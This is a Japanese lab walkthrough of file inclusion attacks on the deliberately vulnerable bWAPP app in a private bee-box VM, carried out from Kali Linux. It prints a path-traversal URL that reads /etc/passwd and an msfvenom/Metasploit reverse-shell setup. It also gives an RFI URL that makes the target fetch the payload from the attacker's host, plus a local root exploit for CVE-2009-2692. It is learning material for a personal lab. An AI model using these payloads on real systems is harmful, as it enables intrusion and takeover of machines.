はじめに
「ハッキング・ラボのつくりかた」p.643-649を参考にして、KaliLinux2022.1での検証を行っている記事です。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
FI(File Inclusion)
ウェブアプリの入力検証の不備を突いて,本来インクルードするべきファイルとは異なる不正なファイルを読み込ませる攻撃、。ターゲット端末上のファイルを用いるLFI(Local File Inclusion)と攻撃者が用意したターゲット端末の遠隔に位置するファイルを用いるRFI(Remote File Inclusion)に分けられる。
挙動の検証
"http://192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Remote & Local File Inclusion(RFI/LFI)」を選択する。選択すると、"http://192.168.56.60/bWAPP/rlfi.php"に遷移する。言語は英語を選択する。
「Go」をクリックすると、URLが"http://192.168.56.60/bWAPP/rlfi.php?language=lang_en.php&action=go"と変化することが確認できた。
実際のLFI攻撃
URL欄に以下の内容を入力することによって、パスワードファイル/etc/passwdや/etc/fstabを閲覧できる。
"http://192.168.56.60/bWAPP/rlfi.php?language=../../../etc/passwd"
実際のRFI攻撃
Kali側の端末上で、次のコマンドを実行して、リバースシェルを作成する。apacheを起動もしくは再起動する。
sudo msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.56.2 lport=4446 -f raw -o /var/www/html/evil.txt
sudo systemctl restart apache2
lhostで指定したのは、KaliLinuxのIPアドレスである。
次に、Metasploitを実行する。msfconsole -q
以下、次の通り
use exploit/multi/handler
set lport 4446
set lhost 192.168.56.2
set payload php/meterpreter_reverse_tcp
run
Firefoxで、"http://192.168.56.60/bWAPP/rlfi.php?language=http://192.168.56.2/evil.txt"にアクセスする。Firefox上では、いつまでも処理が続かないが、端末のmsfconsole上では、セッションが確立してmeterpreterプロンプトが立ち上がる。
shell
コマンドをmetepreterプロンプトで実行することで、bee-boxの任意のコマンドを実行できる。
使いやすいように、bee-boxのプロンプトが利用できるようにするには、
`python -c 'import pty; pty.spawn("/bin/sh")'を実行する。
root権限の奪取
bee-boxn内の"/var/www/evil"にあるexploitを用いる。(通常は、wgetで適当なExploitをダウンロードする。)
cd /var/www/evil
tar -xvf cve-2009-2692.tar
cd cve-2009-2692
ls
//事前に、実行するファイルを確認しておく。
sh cve-2009-2692.sh
id
//idでroot権限が奪取できていることがわかる
おわりに
「ハッキング・ラボのつくりかた」